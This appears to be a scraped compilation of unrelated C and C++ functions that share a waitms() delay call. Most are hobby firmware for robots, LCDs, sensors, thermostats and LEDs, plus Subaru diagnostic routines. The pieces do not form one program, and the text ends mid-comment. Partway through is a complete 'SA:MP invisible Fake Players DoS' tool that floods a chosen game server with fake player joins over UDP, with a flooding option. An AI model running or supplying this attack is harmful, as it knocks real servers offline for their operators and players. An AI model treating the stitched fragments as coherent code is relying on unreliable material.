void main (void) {
long command, left, right;
int rec, i;
P0_5=1;
while (1) {
printf("%ld\n", travelled);
rec = 1;
for (i = 0; i < 4; i++){
if (voltage(0) > MIN){
rec = 0;
}
}
if (!rec){
right = getDistance(2);
left = getDistance(1);
if (orientation == REVERSE){
long temp = left;
left = right;
right = temp;
}
if (autonomous){
if (left > right + 300){
motorRight.power = 0;
motorLeft.power = totalpower;
} else if (right > left + 300){
motorLeft.power = 0;
motorRight.power = totalpower;
} else if (left > distance * ERROR){
motorLeft.direction = FORWARD;
motorRight.direction = FORWARD;
motorLeft.power = totalpower;
motorRight.power = totalpower;
} else if (left < distance / ERROR){
motorLeft.direction = REVERSE;
motorRight.direction = REVERSE;
motorLeft.power = totalpower;
motorRight.power = totalpower;
} else {
motorLeft.power = 0;
motorRight.power = 0;
}
}
} else {
motorLeft.power = 0;
motorRight.power = 0;
waitms(10); //this makes sure that the power change takes effect before shutting off the interrupt
command = rx_byte();
implement_command(command);
waitms(200); //prevents receiving commands back to back
}
}
}
/*!
* Initialisiere Maussensor
*/
void mouse_sens_init(void) {
MOUSE_Enable();
waitms(100);
MOUSE_DDR |= MOUSE_SCK_PIN; // SCK auf Output
MOUSE_PORT = (BK_U8B) (MOUSE_PORT & ~MOUSE_SCK_PIN); // SCK auf 0
waitms(10);
mouse_sens_write(MOUSE_CONFIG_REG, MOUSE_CFG_RESET); // reset sensor
mouse_sens_write(MOUSE_CONFIG_REG, MOUSE_CFG_FORCEAWAKE); // always on
}
int main (void)
{
// init
lcam_initport();
lcam_reset();
lcam_setup();
waitms(20);
// global vars
unsigned char buffer[102];
unsigned char pic_pos = 0;
unsigned char led_val = 1;
while(1)
{
digitalWrite(C,2,led_val);
// start acquiring image
lcam_startintegration();
waitus(INTEGRATION);
// end integration
lcam_stop(buffer);
// delay between two successive acquisitions
waitms(DELAY);
pic_pos = lcam_getpic(buffer);
// begin frame
uartSendString("START");
//uartSendByte(pic_pos);
unsigned char i = 0;
for(i=0;i<102;i++)
{
uartSendByte((buffer[i]>>3)+'0');
//waitus(100);
}
uartSendByte('\0');
led_val ^= 1;
}
// never reached
}
char go_prosto() {
char result = 0;
char step_count = 0;
if (val == 2) {
go_prosto_count++;
}
for (; step_count < 38; step_count++) {
ADC_StartDoubleChannelConversion(ADC_CHANNEL_7, ADC_CHANNEL_5,
onDistanceDataRdy);
while (!ADC_IsDataReady())
;
OAA_OUTPUT oa_result = avoid_obstacles(level_mask);
if (oa_result.gear_left == oa_result.gear_right) {
PWM_Set(0, oa_result.speed_left);
Kierunek(RIGHT_ENGINES, FORWARD_GEAR);
Kierunek(LEFT_ENGINES, FORWARD_GEAR);
waitms(100);
}
result = avoid_obstacle();
}
return result;
}
static int L2F50113T00_open (void)
{
LCD_initial (LCLG_dt4);
LCD_Display_on ();
waitms(1000);
return 0;
}
uint8_t RetButtons(void){
uint8_t i;
uint8_t butt = 0;
for(i=0;i<10;i++) {
butt |= ~BUT_PIN&(OK|LEFT|RIGHT);
butt |= ~BUT_ESC_PIN&(ESC);
waitms(5);
}
if(butt!=0){
if(CompWdTimer(TimeState,BUT_DELAY)){
TimeState = RetWdTimer();
butt_old=butt;
}else{
butt &=~butt_old;
}
}
return butt;
}
void turn_at_magnetic_angle(double angle) {
double turn_angle = 0;
mag_info current_mg_i = MMC212xM_GetMagneticFieldInfo(&twid);
double current_angle = compute_angle(current_mg_i.y, current_mg_i.x);
turn_angle = compute_turn_angle(angle, current_angle);
PWM_Set(0, 15);
if (turn_angle > 0) {
Kierunek(RIGHT_ENGINES, REVERSE_GEAR);
Kierunek(LEFT_ENGINES, FORWARD_GEAR);
} else {
Kierunek(RIGHT_ENGINES, FORWARD_GEAR);
Kierunek(LEFT_ENGINES, REVERSE_GEAR);
}
do {
current_mg_i = MMC212xM_GetMagneticFieldInfo(&twid);
current_angle = compute_angle(current_mg_i.y, current_mg_i.x);
turn_angle = compute_turn_angle(angle, current_angle);
waitms(5);
} while (ABS(turn_angle) > 1);
Kierunek(RIGHT_ENGINES, STOP_GEAR);
Kierunek(LEFT_ENGINES, STOP_GEAR);
}
void LCD_4BIT (void)
{
LCD_E=0; // Resting state of LCD's enable is zero
LCD_RW=0; // We are only writing to the LCD in this program
waitms(20);
// First make sure the LCD is in 8-bit mode and then change to 4-bit mode
WriteCommand(0x33);
WriteCommand(0x33);
WriteCommand(0x32); // Change to 4-bit mode
// Configure the LCD
WriteCommand(0x28);
WriteCommand(0x0c);
WriteCommand(0x01); // Clear screen command (takes some time)
waitms(20); // Wait for clear screen command to finsih.
}
void turn_of_angle(double angle) {
AT91F_PIO_ClearOutput(AT91C_BASE_PIOA, 0x1 << 29);
L3G4200D_Reset(&twid);
PWM_Set(0, 15);
waitms(1000);
if (angle < 0) {
TRACE_INFO("-- w lewo -- \r\n");
Kierunek(RIGHT_ENGINES, FORWARD_GEAR);
Kierunek(LEFT_ENGINES, REVERSE_GEAR);
} else {
TRACE_INFO("-- w prawo -- \r\n");
Kierunek(RIGHT_ENGINES, REVERSE_GEAR);
Kierunek(LEFT_ENGINES, FORWARD_GEAR);
}
while (ABS(angle) - ABS(L3G4200D_GetData().sAngle_z) > 0) {
L3G4200D_ReadData(&twid);
}
L3G4200D_Reset(&twid);
Kierunek(RIGHT_ENGINES, STOP_GEAR);
Kierunek(LEFT_ENGINES, STOP_GEAR);
AT91F_PIO_SetOutput(AT91C_BASE_PIOA, 0x1 << 29);
}
void reconstruct_reverse_track() {
if (get_step_count() > 0) {
TRACE_DEBUG("-- reconstruct_reverse_track -- \r\n");
char txt_buff[16];
sprintf(txt_buff, "Total steps: %2d", get_step_count());
HY1602F6_Log("Reversing track", txt_buff);
init_oa_configuration();
CD4053_EnableIRSensors();
waitms(1000);
int step_count = get_step_count() - 1;
for (; step_count >= 0; step_count--) {
char lcd_buff1[16];
sprintf(lcd_buff1, "angle: %3d", (int) steps_data[step_count]);
char lcd_buff2[16];
sprintf(lcd_buff2, "step: %3d", step_count);
HY1602F6_Log(lcd_buff1, lcd_buff2);
turn_of_angle(steps_data[step_count]);
go_prosto();
}
Kierunek(RIGHT_ENGINES, STOP_GEAR);
Kierunek(LEFT_ENGINES, STOP_GEAR);
} else {
TRACE_WARNING("-- No steps recorded. --\r\n");
HY1602F6_Log("Invalid track", "No data found");
}
}
void LCDprint(char * string, unsigned char line, bit clear)
{
int j;
WriteCommand(line==2?0xc0:0x80);
waitms(5);
for(j=0; string[j]!=0; j++) WriteData(string[j]);// Write the message
if(clear) for(; j<CHARS_PER_LINE; j++) WriteData(' '); // Clear the rest of the line
}
void turnOnLights(void) {
//currently I blindly assume that the button press works...
//future enhancement would be to check LED's to make sure
//they're on and blinking
pushButton(FRONTANDBACK,BUTTONPRESS_DURATION);
waitms(100);
pushButton(FRONTANDBACK,BUTTONPRESS_DURATION);
}
bool SSMP1communication_procedures::stopCUtalking(bool waitforsilence)
{
unsigned char norec_counter = 0;
if (!sendStopTalkingCmd())
{
#ifdef __FSSM_DEBUG__
std::cout << "SSMP1communication_procedures::stopCUtalking(...): sendStopTalkingCmd() failed.\n";
#endif
return false;
}
if (waitforsilence)
{
std::vector<char> buffer;
TimeM time;
time.start();
do
{
waitms(10);
if (_diagInterface->read(&buffer))
{
if (buffer.size())
norec_counter = 0;
else
norec_counter++;
}
} while ((time.elapsed() < SSMP1_T_RECDATA_CHANGE_MAX) && (norec_counter < 5));
/* TODO:
* - invastigate CU-behavior, define a T_MAX_UNTIL_SILENCE (for now, we simply use SSMP1_T_RECDATA_CHANGE_MAX)
* - does the CU always complete sending the current message ? (=> 256-byte-blockrates ~ 1.5s !)
* => make sure it will work with block-reads (in the future)
*/
}
#ifdef __FSSM_DEBUG__
if (waitforsilence)
{
if (norec_counter < 5)
std::cout << "SSMP1communication_procedures::stopCUtalking(...): timeout.\n";
else
std::cout << "SSMP1communication_procedures::stopCUtalking(...): success.\n";
}
#endif
if (!waitforsilence || (norec_counter >= 5))
{
_recbuffer.clear();
_currentaddr = -1;
_lastaddr = -1;
_addrswitch_pending = false;
}
return true;
}
void pushButton(uint8_t button, uint8_t time_ms) {
//pushes the front button (if button == 0), back button (if button == 1),
//or both buttons (if button == 2)
if(button == 0) {
//push front button for time_ms ms
DDRB |= 1<<FRONT_BUTTON_PIN;
PORTB |= 1<<FRONT_BUTTON_PIN;
waitms(time_ms);
PORTB &= ~(1<<FRONT_BUTTON_PIN);
DDRB &= ~(1<<FRONT_BUTTON_PIN);
}
else if(button == 1) {
//push back button for time_ms ms
PORTB &= ~(1<<BACK_BUTTON_PIN);
DDRB |= 1<<BACK_BUTTON_PIN;
waitms(time_ms);
DDRB &= ~(1<<BACK_BUTTON_PIN);
}
else if(button == 2) {
//push both buttons for time_ms ms
DDRB |= 1<<FRONT_BUTTON_PIN;
PORTB |= 1<<FRONT_BUTTON_PIN;
PORTB &= ~(1<<BACK_BUTTON_PIN);
DDRB |= 1<<BACK_BUTTON_PIN;
waitms(time_ms);
PORTB &= ~(1<<FRONT_BUTTON_PIN);
DDRB &= ~(1<<FRONT_BUTTON_PIN);
DDRB &= ~(1<<BACK_BUTTON_PIN);
}
else {;}
//need some delay because, if there's another call to this function
//immediately following this one, the next button push won't register
//unless we have this dealy
waitms(50);
}
void gyroCalculateHdg() {
if(gyro_init_flag) {
waitms(200);
gyroOffset();
gyro_init_flag = 0;
}
else {
prev_read = read;
read = ((gyroReadZ() - actual_offset) - ((gyroReadZ() - actual_offset) % SENSITIVITY)) / SENSITIVITY;
read = read << 1;
integral -= (prev_read + read) >> 1;
gyro_ready = 1;
}
}
static int handle_output_buffer (int terminal_out, char *buffer)
{
int pid, terminal_buffer = open(buffer,O_WRONLY|O_CREAT,0777);
if ( -1 == terminal_buffer )
/* failed */
exit_error("creating buffer <id>_out failed");
pid = fork();
if ( -1 == pid )
/* failed */
exit_error("fork failed");
/* are we parent ? */
if ( 0 != pid )
/* yes - return with child pid */
return pid;
/* copy from pseudo terminal to write buffer.
Exit when ternminal dies or when killed by parent */
while (-1 != input_timeout(terminal_out,0))
{
char buf;
if ( 1 == input_timeout(terminal_out,100) )
{
int res = read(terminal_out,&buf,1);
/* Reading from pseudo terminal in loop until closed */
if ( -1 == res)
break;
if ( 0 ==res )
waitms(100);
else
/* keep writing to pseudo terminal */
write(terminal_buffer,&buf,1);
}
}
/* close file */
close(terminal_buffer);
/* terminate process */
_exit(1);
}
void setTracks(signed short left, signed short right) {
waitms(1);
if(left >= 0) {
setLeftTrackDir(FORWARD);
setLeftTrackSpeed(left);
}
else {
setLeftTrackDir(REVERSE);
setLeftTrackSpeed(-left);
}
if(right >= 0) {
setRightTrackDir(FORWARD);
setRightTrackSpeed(right);
}
else {
setRightTrackDir(REVERSE);
setRightTrackSpeed(-right);
}
}
bool SSMP1communication_procedures::setAddress(SSM1_CUtype_dt cu, unsigned int addr)
{
if (!sendReadAddressCmd(cu, addr))
{
#ifdef __FSSM_DEBUG__
std::cout << "SSMP1communication_procedures::setAddress(...): sendReadAddressCmd(...) failed.\n";
#endif
return false;
}
#ifdef __FSSM_DEBUG__
else
std::cout << "SSMP1communication_procedures::setAddress(...): sent read-request for address " << std::hex << std::showbase << addr << '\n';
#endif
waitms(SSMP1_T_IC_WAIT);
_recbuffer.clear();
_lastaddr = _currentaddr;
_currentaddr = addr;
_addrswitch_pending = true;
_sync = false;
return true;
}
void main()
{
unsigned char display_temp[8]; //显示缓存
jdq_1 = 1;
jdq_2 = 1; //为1时开启
serial_int(enable, baud9600, disable); //串口初始化
int_lcd1602( rightmove, cursornotdisplay); //1602初始化
int_interrupt( 0, negative_jump); //外部中断0，下降沿触发
int_interrupt( 1, negative_jump);
main_timer(on,0); //开启定时器
timer_8_int(0,240,normal); //定时器设置240个脉冲后溢出，并触发中断
main_interrupt(on); //开启总中断
while(1)
{
/*显示控制阈值*/
display_temp[0] = temp_set%100/10+0x30; //任何数字加0x30转换为可以显示的ASCII码
display_temp[1] = temp_set%10+0x30;
display_temp[2] = '\0';
print1602( display_temp, 0,14);
printchar1602(' ', 1, 15);
/*读取温度传感器1并显示，当读取温度为85时为错误数据，不显示*/
ds18b20_1_exist =int_18b20_1(); //判断传感器是否存在
if( ds18b20_1_exist ==0 ) //为0时存在
{
temperature1 = read_temper_1(); //读取温度数据
if(temperature1<85.0) //去除开机第一次显示的错误数据
{
translate( temperature1, display_temp); //把float型数据转换为可以显示的数据并放到显示缓存
print1602( display_temp, 0, 0); //显示
}
}
else //若不存在
{
print1602( "Check 1", 0, 1);
waitms(500); //清除显示的数据
clear1602_10(0);
}
/*读取温度传感器2，当读取温度为85时为错误数据，不显示*/
ds18b20_2_exist =int_18b20_2();
if( ds18b20_2_exist ==0 )
{
temperature2 = read_temper_2();
if(temperature2<85.0)
{
translate( temperature2, display_temp);
print1602( display_temp, 1, 0);
}
}
else
{
print1602( "Check 2", 1, 1);
waitms(500);
clear1602_10(1);
}
waitms(300);
}
}
void main()
{
bit ds18b20_exit; //存储ds18b20是否存在
int time_temp; //存储时间数据
unsigned char temp; //存储char型温度
led_1 = 1;
led_2 = 1;
BEEP = 1;
warning();
serial_int(enable, baud9600, disable);
int_lcd1602( rightmove, cursornotdisplay);
setds1302(second,0);
setds1302(minute,0);
setds1302(hour,0);
setds1302(year,14);
setds1302(month,2);
setds1302(day,7);
setds1302(weekday,5);
ele_mode(1);
EA = 1;
while(1)
{
/*显示温度阈值*/
display_temp[0] = temp_set/10%10+0x30;
display_temp[1] = temp_set%10+0x30;
display_temp[2] = '\0';
print1602( display_temp, 0,14);
printchar1602(' ', 1, 15);
/*开始测量温度*/
ds18b20_exit =int_18b20();
if( ds18b20_exit ==0 )
{
temperature = read_temper();
if(temperature<=80.0)
{
translate( temperature, display_temp);
print1602( display_temp, 0, 0);
}
}
else
{
print1602( "Not Found", 0, 1);
led_1 = 0;
led_2 = 0;
warning();
waitms(500);
clear1602_10(0);
}
/*设置温度阈值*/
if(key_1==0)
temp_set++;
if(key_2==0)
temp_set--;
if(temp_set<10)
temp_set = 10;
if(temp_set>70)
temp_set = 70;
/*开始判断温度并指示升温降温*/
temp = (unsigned char)temperature;
if(temp>temp_set)
{
if(temp-temp_set>1)
{
led_1 = 1;
led_2 = 0;
warning();
}
else
{
led_1 = 1;
led_2 = 1;
}
}
else
{
if(temp_set-temp>1)
{
led_1 = 0;
led_2 = 1;
warning();
}
else
{
led_1 = 1;
led_2 = 1;
}
}
/*开始显示时间*/
time_temp =read1302(hour);
if(time_temp<=23)
{
translate_print(time_temp,display_temp);
print1602(display_temp,1,2);
}
time_temp =read1302(minute);
if(time_temp<=60)
{
translate_print(time_temp,display_temp);
print1602(display_temp,1,5);
}
time_temp =read1302(second);
time_temp =read1302(second); //读取两次为了保证能够读取数据成功
if(time_temp<=60)
{
translate_print(time_temp,display_temp);
print1602(display_temp,1,8);
/*设置冒号闪烁*/
if(time_temp%2!=1)
{
print1602(" ",1,4);
print1602(" ",1,7);
}
else
{
print1602(":",1,4);
print1602(":",1,7);
}
}
}
}
int main (void) {
SPIDDR=(1<<SDA)|(1<<CLK)|(1<<CS)|(1<<RESET); //Port-Direction Setup
//Init Uart and send OK
UCR = (1<<RXEN)|(1<<TXEN);
UBRR=(F_CPU / (BAUD_RATE * 16L) - 1);
loop_until_bit_is_set(USR, UDRE);
UDR = 'O';
loop_until_bit_is_set(USR, UDRE);
UDR = 'K';
CS0
SDA0
CLK1
RESET1
RESET0
RESET1
CLK1
SDA1
CLK1
waitms(10);
//Software Reset
sendCMD(0x01);
//Sleep Out
sendCMD(0x11);
//Booster ON
sendCMD(0x03);
waitms(10);
//Display On
sendCMD(0x29);
//Normal display mode
sendCMD(0x13);
//Display inversion on
sendCMD(0x21);
//Data order
sendCMD(0xBA);
//Memory data access control
sendCMD(0x36);
//sendData(8|64); //rgb + MirrorX
sendData(8|128); //rgb + MirrorY
#ifdef MODE565
sendCMD(0x3A);
sendData(5); //16-Bit per Pixel
#else
//sendCMD(0x3A);
//sendData(3); //12-Bit per Pixel (default)
#endif
//Set Constrast
//sendCMD(0x25);
//sendData(63);
//Column Adress Set
sendCMD(0x2A);
sendData(0);
sendData(131);
//Page Adress Set
sendCMD(0x2B);
sendData(0);
sendData(131);
//Memory Write
sendCMD(0x2C);
int i;
//Test-Picture
//red bar
for (i=0;i<132*33;i++) {
setPixel(255,0,0);
}
//green bar
for (i=0;i<132*33;i++) {
setPixel(0,255,0);
}
//blue bar
for (i=0;i<132*33;i++) {
setPixel(0,0,255);
}
//white bar
for (i=0;i<132*33;i++) {
setPixel(255,255,255);
}
//wait for RGB-Data on serial line and display on lcd
while(1==1) {
loop_until_bit_is_set(UCSRA, RXC);
r = UDR;
loop_until_bit_is_set(UCSRA, RXC);
g = UDR;
loop_until_bit_is_set(UCSRA, RXC);
b = UDR;
setPixel(r,g,b);
}
}
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
struct linger ling = {1,1};
int sd,
i,
len,
ver = 1,
z = 0,
flood = 0,
full = 0,
joined = 0;
u16 port = PORT;
u8 *buff,
pass[128],
*host,
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"SA:MP invisible Fake Players DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"edit: by Hordejoy\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host[:port]>\n"
"\n"
"-p PORT server port that you can specify also after host, default is %hu\n"
"-f flooding option, perfect for slow connections or for testing servers\n"
" with many slots\n"
"\n", argv[0], port);
exit(1);
}
argc--;
for(i = 1; i < argc; i++)
{
if(((argv[i][0] != '-') && (argv[i][0] != '/')) || (strlen(argv[i]) != 2))
{
printf("\nError: wrong argument (%s)\n", argv[i]);
exit(1);
}
switch(argv[i][1])
{
case 'p':
{
if(!argv[++i]) exit(1);
port = atoi(argv[i]);
} break;
case 'f':
{
flood = 1;
} break;
default:
{
printf("\nError: wrong argument (%s)\n", argv[i]);
exit(1);
}
}
}
host = argv[argc];
p = strchr(host, ':');
if(p)
{
*p = 0;
port = atoi(p + 1);
}
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
buff = malloc(BUFFSZ + 1);
if(!buff) std_err();
p = buff;
p += putmm(p, "SAMP", 4);
p += putxx(p, peer.sin_addr.s_addr, 32);
p += putxx(p, ntohs(peer.sin_port), 16);
p += putxx(p, 'i', 8);
len = send_recv(sd, buff, p - buff, buff, BUFFSZ, &peer, 1, 0);
close(sd);
sampinfo(buff, len);
pass[0] = 0;
/* VERSION */
ver = 6; // remember to change this one with new versions!
/* VERSION */
printf("- start attack:");
for(;;)
{
printf("\n Player: ");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
do
{
peerl.sin_port++;
}
while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0);
p = buff;
switch(ver)
{
case 1: { z = 0; full = 0x14; joined = 0x12; p += putxx(p, 0x03, 8); break; }
case 2: { z = 0; full = 0x13; joined = 0x0b; p += putxx(p, 0x0a, 8); break; }
case 3: { z = 1; full = 0x1d; joined = 0x10; p += putxx(p, 0x0f, 8); break; }
case 4: { z = 1; full = 0x1b; joined = 0x11; p += putxx(p, 0x10, 8); break; }
case 5: { z = 0; full = 0x21; joined = 0x18; p += putxx(p, 0x17, 8); break; }
case 6: { z = 0; full = 0x1b; joined = 0x12; p += putxx(p, 0x11, 8); break; }
default:
{
printf("\nError: socket timeout, no reply received\n");
exit(1);
break;
}
}
p += putmm(p, pass, -1);
len = p - buff;
if(ver == 5) len = samp03_crypt(buff, len, port, 1, 0);
if(ver >= 6) len = samp03_crypt(buff, len, port, 1, 1);
len = send_recv(sd, buff, len, (flood == 2) ? NULL : buff, BUFFSZ, &peer, 0, z);
close(sd);
if(len < 0) {
printf("\n- no reply I try with an older version\n");
ver--;
continue;
}
if(flood == 2) {
waitms(FLOODMS);
continue;
}
// seems not used
//if(ver == 5) len = samp03_crypt(buff, len, port, 0, 0);
//if(ver >= 6) len = samp03_crypt(buff, len, port, 0, 1);
if(buff[0] == full) {
printf("server full");
sleep(ONESEC);
continue;
}
if(buff[0] != joined)
{
if((buff[0] == 0x13) || (buff[0] == 0x19))
{
// \wrong \not set
// version 2 doesn't want a password eh eh eh cool!
printf("\n- server is protected, insert the password:\n ");
fgetz(pass, sizeof(pass));
continue;
}
printf("\n- unknown packet reply (%d)\n", buff[0]);
//exit(1);
} else
{
if(flood)
{
printf("\n- start flooding\n");
flood = 2;
}
}
}
return(0);
}
int main(void)
{
DDRD = 255;
DDRB |= (1<<0); DDRB |= (1<<1); DDRB |= (1<<2); DDRB |= (1<<3); DDRB &= ~(1<<4); DDRB &= ~(1<<5);
PORTD = 0;
PORTB &= ~(1<<0); PORTB &= ~(1<<1); PORTB &= ~(1<<2); PORTB &= ~(1<<3); PORTB &= ~(1<<4); PORTB &= ~(1<<5);
int knop1,knop2,select=0,kleur=0,tijd=400,a,b,rgb[3]={1,2,4},c;
while(1)
{
knop1 = PINB&(1<<in1); //==16 is hoog
knop2 = PINB&(1<<in2); //==32 is hoog
if ((knop1==16)&&(knop2==32))
{
for (a=0;a<3;a+=1)
{
for (b=0;b<10;b+=1)
{
ledon (7,rgb[a]); waitms (50); dark(); waitms (50);
}
}
for (b=0;b<10;b+=1)
{
for (a=0;a<3;a+=1)
{
ledon (7,rgb[a]); waitms (50); dark(); waitms (50);
}
}
for (c=120;c>=0;c-=20)
{
ledon (1,1); waitms (c); dark();
ledon (2,2); waitms (c); dark();
ledon (3,4); waitms (c); dark();
ledon (4,1); waitms (c); dark();
ledon (1,2); waitms (c); dark();
ledon (2,4); waitms (c); dark();
ledon (3,1); waitms (c); dark();
ledon (4,2); waitms (c); dark();
ledon (1,4); waitms (c); dark();
ledon (2,1); waitms (c); dark();
ledon (3,2); waitms (c); dark();
ledon (4,4); waitms (c); dark();
}
for (c=0;c<=120;c+=20)
{
ledon (1,1); waitms (c); dark();
ledon (2,2); waitms (c); dark();
ledon (3,4); waitms (c); dark();
ledon (4,1); waitms (c); dark();
ledon (1,2); waitms (c); dark();
ledon (2,4); waitms (c); dark();
ledon (3,1); waitms (c); dark();
ledon (4,2); waitms (c); dark();
ledon (1,4); waitms (c); dark();
ledon (2,1); waitms (c); dark();
ledon (3,2); waitms (c); dark();
ledon (4,4); waitms (c); dark();
}
fadein (7,7,500);
fadeout(7,7,500);
dark();
}
else if ((knop1==16)&&(knop2!=32))
{
ledon (5,1); ledon (6,2); waitms (tijd); dark();
ledon (5,2); ledon (6,4); waitms (tijd); dark();
ledon (5,4); ledon (6,1); waitms (tijd); dark();
ledon (5,1); ledon (6,2); waitms (tijd); dark();
ledon (5,2); ledon (6,4); waitms (tijd); dark();
ledon (5,4); ledon (6,1); waitms (tijd); dark();
dark();
}
else if ((knop1!=16)&&(knop2==32))
{
for (kleur=1;kleur<8;kleur+=1)
{
fadein (7,kleur,700);
fadeout(7,kleur,700);
waitms(600);
}
dark();
}
else
{
fadein (7,1,700);
fadeout(7,1,700);
waitms (600);
dark();
}
}
}
bool SSMP1communication_procedures::getID(unsigned char extradatalen, std::vector<char> * data)
{
const unsigned int t_max_total = (SSMP1_T_ID_RECSTART_MAX + 1000*(3+extradatalen)*8/1953) * 2;
const unsigned char max_bytes_dropped = 15; // NOTE: depends on last request; min. 12 (seen with Ax10xx TCU) if last CU reply message length is 3 bytes
std::vector<char> tmpbuf;
unsigned char bytes_dropped = 0;
bool IDvalid = false;
bool IDconfirmed = false;
unsigned int cu_data_len = 0;
bool timeout;
if (!sendQueryIdCmd(0)) return false;
waitms(SSMP1_T_IC_WAIT);
_recbuffer.clear();
_currentaddr = -1;
_lastaddr = -1;
_addrswitch_pending = false;
if (!_diagInterface->clearReceiveBuffer())
return false;
if (!sendQueryIdCmd(extradatalen))
{
#ifdef __FSSM_DEBUG__
std::cout << "SSMP1communication_procedures::getID(...): sendQueryIdCmd() failed.\n";
#endif
return false;
}
if (!_diagInterface->clearReceiveBuffer())
return false;
/* NOTE: Problem:
* - we can not rely in buffer flushing because of driver/OS/hardware latencies and bugs
* - control units need some time until they switch from sending data from the previous
* (read address) request to sending the control unit ID (+data)
*/
TimeM time_total;
TimeM time_inter_byte;
time_total.start();
time_inter_byte.start();
do
{
waitms(20);
// Read data, append to receive buffer
tmpbuf.clear();
if (!_diagInterface->read(&tmpbuf))
{
_recbuffer.clear();
return false;
}
if (tmpbuf.size())
{
_recbuffer.insert(_recbuffer.end(), tmpbuf.begin(), tmpbuf.end());
// Restart inter byte timer
time_inter_byte.start();
// Validate ID (the first 3 bytes)
while (!IDvalid && _recbuffer.size() && (bytes_dropped < max_bytes_dropped))
{
bool drop_byte = false;
// Check if we have a valid ID at the beginning of the buffer
if ((_recbuffer.at(0) & 0xF0) == 0x70)
{
IDvalid = true;
}
else if ((_recbuffer.at(0) & 0xF0) == 0xA0)
{
if (_recbuffer.size() > 1)
{
if ((_recbuffer.at(1) == 0x01) || (_recbuffer.at(1) == 0x10))
IDvalid = true;
else
drop_byte = true;
}
else
break;
}
else
{
drop_byte = true;
}
// Drop first byte from receive buffer if it is not the beginning of a valid ID
if (drop_byte)
{
_recbuffer.erase(_recbuffer.begin(), _recbuffer.begin() + 1);
bytes_dropped++;
}
}
// Check for repeating byte sequence(s)
if (IDvalid && (_recbuffer.size() > 3))
{
unsigned int id_index = 0;
for (unsigned int buf_index=3; buf_index<_recbuffer.size(); buf_index++)
{
// Compare next byte:
if (_recbuffer.at(id_index) == _recbuffer.at(buf_index))
{
cu_data_len = buf_index - id_index;
id_index++;
}
else
{
cu_data_len = buf_index + 1;
buf_index -= id_index;
id_index = 0;
}
// Check if we have reached an invalid ECU data length
// FIXME: be more strict with CUs with Ax xx xx ID: compare cu_data_len with (3 + extradatalen)
if ((cu_data_len > 3) && ((_recbuffer.at(0) & 0xF0) == 0x70))
{
// NOTE: ID must be invalid, 7x xx xx IDs are always 3 bytes long !
IDvalid = false;
// Drop first byte from receive buffer
_recbuffer.erase(_recbuffer.begin(), _recbuffer.begin() + 1);
bytes_dropped++;
break;
}
}
// Check if we have enough repetitions // NOTE: we could do this earlier (inside the loop), but - hey - why not check ALL data we have received ?!
if (id_index >= 3) /* NOTE: 3 bytes should be enough. The chance that we are comparing the wrong bytes and have two identical 3 byte sequences is 1/(256^3) */
IDconfirmed = true;
}
}
// Check if timeout
timeout = (time_total.elapsed() > t_max_total) || (time_inter_byte.elapsed() > SSMP1_T_ID_RECSTART_MAX);
} while (!IDconfirmed && !timeout && (bytes_dropped < max_bytes_dropped));
// For control units with non-repeating data: validate ID by checking the length
if (!IDconfirmed && IDvalid && timeout && (bytes_dropped < max_bytes_dropped) && (_recbuffer.size() >= 3))
{
if (((_recbuffer.at(0) & 0xF0) == 0x70) && (_recbuffer.size() == 3)) // NOTE: >3 not possible at this point
{
IDconfirmed = true;
cu_data_len = 3;
}
else if ((_recbuffer.at(0) & 0xF0) == 0xA0)
{
if ((_recbuffer.at(1) == 0x01) && ((_recbuffer.size() == 3) || ((_recbuffer.size() > 3) && (_recbuffer.size() <= 3+255))))
{
/* FIXME: IMPROVE !
* how does the number of received bytes correspond to extradatalen ?
* Is it possible that controllers end more/less bytes than requested ? */
IDconfirmed = true;
cu_data_len = _recbuffer.size();
}
else if ((_recbuffer.at(1) == 0x10) && ((_recbuffer.size() == 3) || (_recbuffer.size() == (3 + static_cast<unsigned int>(extradatalen)))))
{
IDconfirmed = true;
cu_data_len = _recbuffer.size();
}
}
#ifdef __FSSM_DEBUG__
if (IDconfirmed)
std::cout << "SSMP1communication_procedures::getID(...): the control doesn't send its ID continuously, ID validated by length check.\n";
else
std::cout << "SSMP1communication_procedures::getID(...): the control doesn't send its ID continuously, ID length check failed.\n";
#endif
}
// Extract data:
if (IDconfirmed)
{
data->assign(_recbuffer.begin(), _recbuffer.begin() + cu_data_len);
#ifdef __FSSM_DEBUG__
std::cout << "SSMP1communication_procedures::getID(...): received ID with length " << std::dec << cu_data_len << ": ";
std::cout << libFSSM::StrToMultiLineHexstr(*data);
#endif
}
#ifdef __FSSM_DEBUG__
else
{
if (bytes_dropped >= max_bytes_dropped)
std::cout << "SSMP1communication_procedures::getID(...): failed to read ID from control unit: maximum number of non-ID-bytes reached.\n";
else // timeout
std::cout << "SSMP1communication_procedures::getID(...): failed to read ID from control unit: timeout.\n";
}
#endif
_recbuffer.clear();
return IDconfirmed;
}
int main(void)
{
lcd_init(LCD_DISP_ON);
lcd_clrscr();
lcd_puts("Je suis");
lcd_gotoxy(0,1);
lcd_puts("Roberto");
int i, pos_servo, flag_error = 0;
DDRC = 0xFF;
DDRD = 0xFF;
DDRA = 0x80;
PORTD = 0b01100011;
PORTC = 0b00000000;
set_servo(0, 20);
set_servo(1, 80);
set_servo(2, 50);
set_servo(3, 50);
set_servo(4, 50);
while(1)
{
/*
if(_PINA0 == 1 )
{
if(_PINA1 == 0)
{
_PORTA7 = 1;
}
else _PORTA7 = 0;
}
else _PORTA7 = 0;
*/
/*
_PORTA7 = 1;
waitms(3000);
_PORTA7 = 0;
waitms(5000);
*/
/*
